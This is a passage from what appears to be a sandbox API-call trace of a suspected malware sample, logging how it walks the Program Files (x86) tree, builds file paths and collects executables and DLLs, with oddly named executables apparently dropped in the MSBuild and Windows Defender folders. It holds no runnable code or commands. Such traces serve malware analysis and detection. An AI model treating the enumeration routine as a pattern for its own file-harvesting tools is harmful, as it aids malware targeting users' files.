(x86)\\Mozilla Firefox\\xul.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\xul.dll" [0040.163] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.163] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.163] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.163] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2=".") returned 1 [0040.163] lstrcmpW (lpString1="Mozilla Maintenance Service", lpString2="..") returned 1 [0040.163] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.163] lstrlenW (lpString="Mozilla Maintenance Service") returned 27 [0040.163] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Maintenance Service" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service" [0040.163] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\" [0040.163] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0040.163] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*" [0040.163] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.163] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.163] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.163] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.163] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.164] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.164] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0040.164] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0040.164] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0040.164] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0040.164] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0040.164] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned 73 [0040.164] lstrcpyW (in: lpString1=0x5e59f8, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\maintenanceservice.exe" [0040.164] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.164] lstrcmpW (lpString1="Uninstall.exe", lpString2=".") returned 1 [0040.164] lstrcmpW (lpString1="Uninstall.exe", lpString2="..") returned 1 [0040.164] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0040.164] lstrlenW (lpString="Uninstall.exe") returned 13 [0040.164] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0040.164] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned 64 [0040.164] lstrcpyW (in: lpString1=0x5e5a98, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\Uninstall.exe" [0040.164] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.164] lstrcmpW (lpString1="updater.ini", lpString2=".") returned 1 [0040.164] lstrcmpW (lpString1="updater.ini", lpString2="..") returned 1 [0040.164] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\") returned 51 [0040.164] lstrlenW (lpString="updater.ini") returned 11 [0040.164] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\", lpString2="updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0040.164] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned 62 [0040.164] lstrcpyW (in: lpString1=0x5e2468, lpString2="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini") returned="c:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" [0040.164] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.164] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.165] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.165] lstrcmpW (lpString1="MSBuild", lpString2=".") returned 1 [0040.165] lstrcmpW (lpString1="MSBuild", lpString2="..") returned 1 [0040.165] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.165] lstrlenW (lpString="MSBuild") returned 7 [0040.165] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="MSBuild" | out: lpString1="c:\\Program Files (x86)\\MSBuild") returned="c:\\Program Files (x86)\\MSBuild" [0040.165] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\") returned="c:\\Program Files (x86)\\MSBuild\\" [0040.165] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0040.165] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\*") returned="c:\\Program Files (x86)\\MSBuild\\*" [0040.165] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.165] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.165] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.165] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.165] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.165] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.165] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2=".") returned 1 [0040.165] lstrcmpW (lpString1="ausarrivedrepresentative.exe", lpString2="..") returned 1 [0040.165] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0040.165] lstrlenW (lpString="ausarrivedrepresentative.exe") returned 28 [0040.165] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0040.165] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned 59 [0040.165] lstrcpyW (in: lpString1=0x5e5b40, lpString2="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe") returned="c:\\Program Files (x86)\\MSBuild\\ausarrivedrepresentative.exe" [0040.165] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.165] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0040.165] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0040.165] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\") returned 31 [0040.165] lstrlenW (lpString="Microsoft") returned 9 [0040.165] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft" [0040.165] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\" [0040.165] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0040.165] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*" [0040.165] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.166] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.166] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.166] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.166] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.166] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.166] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2=".") returned 1 [0040.166] lstrcmpW (lpString1="Windows Workflow Foundation", lpString2="..") returned 1 [0040.166] lstrlenW (lpString="c:\\Program Files (x86)\\MSBuild\\Microsoft\\") returned 41 [0040.166] lstrlenW (lpString="Windows Workflow Foundation") returned 27 [0040.166] lstrcatW (in: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\", lpString2="Windows Workflow Foundation" | out: lpString1="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="c:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation" [0040.166] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.166] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.166] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.166] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.166] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.166] lstrcmpW (lpString1="Reference Assemblies", lpString2=".") returned 1 [0040.166] lstrcmpW (lpString1="Reference Assemblies", lpString2="..") returned 1 [0040.166] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.166] lstrlenW (lpString="Reference Assemblies") returned 20 [0040.166] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Reference Assemblies" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies") returned="c:\\Program Files (x86)\\Reference Assemblies" [0040.166] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\" [0040.166] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0040.166] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\*" [0040.166] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.166] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.166] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.166] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.166] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.166] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.166] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0040.166] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0040.166] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\") returned 44 [0040.166] lstrlenW (lpString="Microsoft") returned 9 [0040.166] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\", lpString2="Microsoft" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0040.166] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0040.166] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0040.166] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0040.166] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.166] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.166] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.166] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.166] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.167] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.167] lstrcmpW (lpString1="Framework", lpString2=".") returned 1 [0040.167] lstrcmpW (lpString1="Framework", lpString2="..") returned 1 [0040.167] lstrlenW (lpString="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned 54 [0040.167] lstrlenW (lpString="Framework") returned 9 [0040.167] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\", lpString2="Framework" | out: lpString1="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="c:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0040.167] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.167] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.167] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.167] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.167] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.167] lstrcmpW (lpString1="Uninstall Information", lpString2=".") returned 1 [0040.167] lstrcmpW (lpString1="Uninstall Information", lpString2="..") returned 1 [0040.167] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.167] lstrlenW (lpString="Uninstall Information") returned 21 [0040.167] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Uninstall Information" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information") returned="c:\\Program Files (x86)\\Uninstall Information" [0040.167] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\") returned="c:\\Program Files (x86)\\Uninstall Information\\" [0040.167] lstrlenW (lpString="c:\\Program Files (x86)\\Uninstall Information\\") returned 45 [0040.167] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Uninstall Information\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Uninstall Information\\*") returned="c:\\Program Files (x86)\\Uninstall Information\\*" [0040.167] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.167] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.167] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.167] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.167] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.167] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0 [0040.167] FindClose (in: hFindFile=0x775d18 | out: hFindFile=0x775d18) returned 1 [0040.167] FindNextFileW (in: hFindFile=0x775cd8, lpFindFileData=0x3defc8 | out: lpFindFileData=0x3defc8) returned 1 [0040.167] lstrcmpW (lpString1="Windows Defender", lpString2=".") returned 1 [0040.167] lstrcmpW (lpString1="Windows Defender", lpString2="..") returned 1 [0040.167] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0040.167] lstrlenW (lpString="Windows Defender") returned 16 [0040.167] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Defender" | out: lpString1="c:\\Program Files (x86)\\Windows Defender") returned="c:\\Program Files (x86)\\Windows Defender" [0040.167] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\") returned="c:\\Program Files (x86)\\Windows Defender\\" [0040.167] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0040.167] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\*") returned="c:\\Program Files (x86)\\Windows Defender\\*" [0040.167] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 0x775d18 [0040.167] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.167] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.167] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.167] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.168] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.168] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0040.168] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0040.168] lstrlenW (lpString="en-US") returned 5 [0040.168] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US") returned="c:\\Program Files (x86)\\Windows Defender\\en-US" [0040.168] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\" [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0040.168] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\*" [0040.168] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.168] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.168] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.168] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.168] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.168] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.168] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0040.168] lstrcmpW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0040.168] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0040.168] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned 62 [0040.168] lstrcpyW (in: lpString1=0x5e24f0, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpAsDesc.dll.mui" [0040.168] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.168] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2=".") returned 1 [0040.168] lstrcmpW (lpString1="MpEvMsg.dll.mui", lpString2="..") returned 1 [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\") returned 46 [0040.168] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15 [0040.168] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\", lpString2="MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned 61 [0040.168] lstrcpyW (in: lpString1=0x5e2578, lpString2="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui") returned="c:\\Program Files (x86)\\Windows Defender\\en-US\\MpEvMsg.dll.mui" [0040.168] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.168] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.168] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.168] lstrcmpW (lpString1="MpAsDesc.dll", lpString2=".") returned 1 [0040.168] lstrcmpW (lpString1="MpAsDesc.dll", lpString2="..") returned 1 [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0040.168] lstrlenW (lpString="MpAsDesc.dll") returned 12 [0040.168] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned 52 [0040.168] lstrcpyW (in: lpString1=0x5e0b28, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpAsDesc.dll" [0040.168] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.168] lstrcmpW (lpString1="MpClient.dll", lpString2=".") returned 1 [0040.168] lstrcmpW (lpString1="MpClient.dll", lpString2="..") returned 1 [0040.168] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0040.168] lstrlenW (lpString="MpClient.dll") returned 12 [0040.168] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned 52 [0040.169] lstrcpyW (in: lpString1=0x5e0ba0, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpClient.dll" [0040.169] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.169] lstrcmpW (lpString1="MpOAV.dll", lpString2=".") returned 1 [0040.169] lstrcmpW (lpString1="MpOAV.dll", lpString2="..") returned 1 [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0040.169] lstrlenW (lpString="MpOAV.dll") returned 9 [0040.169] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned 49 [0040.169] lstrcpyW (in: lpString1=0x5e4b08, lpString2="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MpOAV.dll" [0040.169] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.169] lstrcmpW (lpString1="MsMpLics.dll", lpString2=".") returned 1 [0040.169] lstrcmpW (lpString1="MsMpLics.dll", lpString2="..") returned 1 [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0040.169] lstrlenW (lpString="MsMpLics.dll") returned 12 [0040.169] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned 52 [0040.169] lstrcpyW (in: lpString1=0x5e0c18, lpString2="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll") returned="c:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" [0040.169] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.169] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2=".") returned 1 [0040.169] lstrcmpW (lpString1="thumbnailsopen.exe", lpString2="..") returned 1 [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\") returned 40 [0040.169] lstrlenW (lpString="thumbnailsopen.exe") returned 18 [0040.169] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Defender\\", lpString2="thumbnailsopen.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" [0040.169] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe") returned 58 [0040.169] lstrcpyW (in: lpString1=0x5e5bc0, lpString2="c:\\Program Files (x86)\\Windows Defender\\thumbnailsopen.exe" | out: 